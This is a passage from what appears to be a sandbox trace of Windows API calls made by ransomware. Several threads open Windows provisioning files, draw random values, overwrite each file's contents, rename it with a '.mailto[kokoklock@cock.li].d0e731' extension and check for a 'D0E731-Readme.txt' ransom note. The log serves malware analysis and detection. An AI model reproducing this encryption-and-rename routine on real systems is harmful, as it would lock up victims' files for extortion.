| out: lpBuffer=0x55dcfc0*, lpNumberOfBytesWritten=0x321bfc74*=0x20, lpOverlapped=0x0) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcfc0) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea030) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0089.028] WriteFile (in: hFile=0x634, lpBuffer=0x55dcde0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x55dcde0*, lpNumberOfBytesWritten=0x321bfca0*=0x8, lpOverlapped=0x0) returned 1 [0089.028] WriteFile (in: hFile=0x634, lpBuffer=0x321bfcb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x321bfcb8*, lpNumberOfBytesWritten=0x321bfca0*=0x4, lpOverlapped=0x0) returned 1 [0089.028] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x321bfca0*=0x4, lpOverlapped=0x0) returned 1 [0089.028] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x321bfca0*=0x6c, lpOverlapped=0x0) returned 1 [0089.028] WriteFile (in: hFile=0x634, lpBuffer=0x55dcea8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x55dcea8*, lpNumberOfBytesWritten=0x321bfca0*=0x20, lpOverlapped=0x0) returned 1 [0089.028] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x321bfca0*=0x4, lpOverlapped=0x0) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcea8) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0089.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcde0) returned 1 [0089.028] CloseHandle (hObject=0x634) returned 1 [0089.029] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x342c510 [0089.029] wcscpy (in: _Dest=0x342c510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" [0089.029] wcscat (in: _Dest=0x342c510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0089.029] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0089.029] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0089.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c510) returned 1 [0089.030] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0089.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0089.030] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0089.030] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0089.030] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0089.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0089.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34213f8) returned 1 [0089.030] RtlExitUserThread (Status=0x1) Thread: id = 1454 os_tid = 0x1404 [0088.829] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0088.984] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.984] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0088.984] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x3223fcd0 | out: lpFileSize=0x3223fcd0*=740) returned 1 [0088.984] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.984] ReadFile (in: hFile=0x634, lpBuffer=0x3223fca4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x3223fca4*, lpNumberOfBytesRead=0x3223fca0*=0x4, lpOverlapped=0x0) returned 1 [0088.986] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf20 [0088.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcea8 [0088.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcd40 [0088.986] NtQuerySystemTime (in: CurrentTime=0x3223fc7c | out: CurrentTime=0x3223fc7c*=132121176468811769) returned 0x0 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x17083b14 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x72be60da [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xbb2ece4f [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x35dcd3d3 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xd3e503fe [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x2fc633fd [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x34fe8128 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x61ac9347 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xa6520323 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x90af1ff8 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xa506858e [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xeb023aa [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x22c15479 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x958af627 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x637629a [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x7270eee8 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x3005840b [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x6c4c2f19 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x983890ae [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x4f97f555 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xa735cf78 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x8b660da5 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xacafa488 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x70bf3300 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xe6aa5e85 [0088.986] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xf771f8b7 [0088.987] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x55a3bbb4 [0088.987] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xbd680311 [0088.987] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xea246893 [0088.987] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0x260f840c [0088.987] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xe6a6b57b [0088.987] RtlRandom (in: Seed=0x3223fc88 | out: Seed=0x3223fc88) returned 0xe3ca41d8 [0088.997] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x3223fc7c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x3223fc7c*=0x2e4, lpOverlapped=0x0) returned 1 [0088.997] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3223fc44 | out: lpNewFilePointer=0x0) returned 1 [0088.997] WriteFile (in: hFile=0x634, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x2e4, lpNumberOfBytesWritten=0x3223fc78, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x3223fc78*=0x2e4, lpOverlapped=0x0) returned 1 [0089.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcfc0 [0089.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcbb0 [0089.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcbb0) returned 1 [0089.010] WriteFile (in: hFile=0x634, lpBuffer=0x55dcfc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3223fc74, lpOverlapped=0x0 | out: lpBuffer=0x55dcfc0*, lpNumberOfBytesWritten=0x3223fc74*=0x20, lpOverlapped=0x0) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcfc0) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea030) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0089.011] WriteFile (in: hFile=0x634, lpBuffer=0x55dcde0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x55dcde0*, lpNumberOfBytesWritten=0x3223fca0*=0x8, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0x634, lpBuffer=0x3223fcb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x3223fcb8*, lpNumberOfBytesWritten=0x3223fca0*=0x4, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3223fca0*=0x4, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3223fca0*=0x6c, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0x634, lpBuffer=0x55dcea8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x55dcea8*, lpNumberOfBytesWritten=0x3223fca0*=0x20, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3223fca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3223fca0*=0x4, lpOverlapped=0x0) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcea8) returned 1 [0089.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0089.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcde0) returned 1 [0089.012] CloseHandle (hObject=0x634) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x188) returned 0x342c510 [0089.012] wcscpy (in: _Dest=0x342c510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" [0089.012] wcscat (in: _Dest=0x342c510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0089.012] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0089.013] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0089.013] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c510) returned 1 [0089.013] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0089.013] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0089.013] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0089.013] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0089.013] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0089.013] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0089.013] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475858) returned 1 [0089.013] RtlExitUserThread (Status=0x1) Thread: id = 1455 os_tid = 0x1408 [0088.830] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0088.945] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.966] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0088.966] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x322bfad0 | out: lpFileSize=0x322bfad0*=494) returned 1 [0088.966] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x1ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.966] ReadFile (in: hFile=0x634, lpBuffer=0x322bfaa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x322bfaa4*, lpNumberOfBytesRead=0x322bfaa0*=0x4, lpOverlapped=0x0) returned 1 [0088.968] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcd40 [0088.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcef8 [0088.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcd68 [0088.968] NtQuerySystemTime (in: CurrentTime=0x322bfa7c | out: CurrentTime=0x322bfa7c*=132121176468655549) returned 0x0 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xed1af080 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x1b1a43d2 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x9c132393 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xadd67ced [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x497837da [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x881f9a91 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x6dccaf96 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x32e514f6 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xdfd397da [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x2e268c95 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xa99e8877 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xdd2468a0 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xe595d9b3 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xc1c3755f [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x415dfe27 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xe358d1dd [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xcadf77a9 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xfb256b12 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x9adc402e [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x5ecda132 [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x8e5cf28d [0088.968] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xf0379677 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xd54e8c9c [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x98a03ebb [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xe49dc614 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xf35fb117 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xab2a61fe [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x8fd3be3 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x8be54ae7 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0xb071a1c5 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x4d2e9e27 [0088.969] RtlRandom (in: Seed=0x322bfa88 | out: Seed=0x322bfa88) returned 0x7ad053f6 [0088.980] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1ee, lpNumberOfBytesRead=0x322bfa7c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x322bfa7c*=0x1ee, lpOverlapped=0x0) returned 1 [0088.980] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322bfa44 | out: lpNewFilePointer=0x0) returned 1 [0088.980] WriteFile (in: hFile=0x634, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1ee, lpNumberOfBytesWritten=0x322bfa78, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x322bfa78*=0x1ee, lpOverlapped=0x0) returned 1 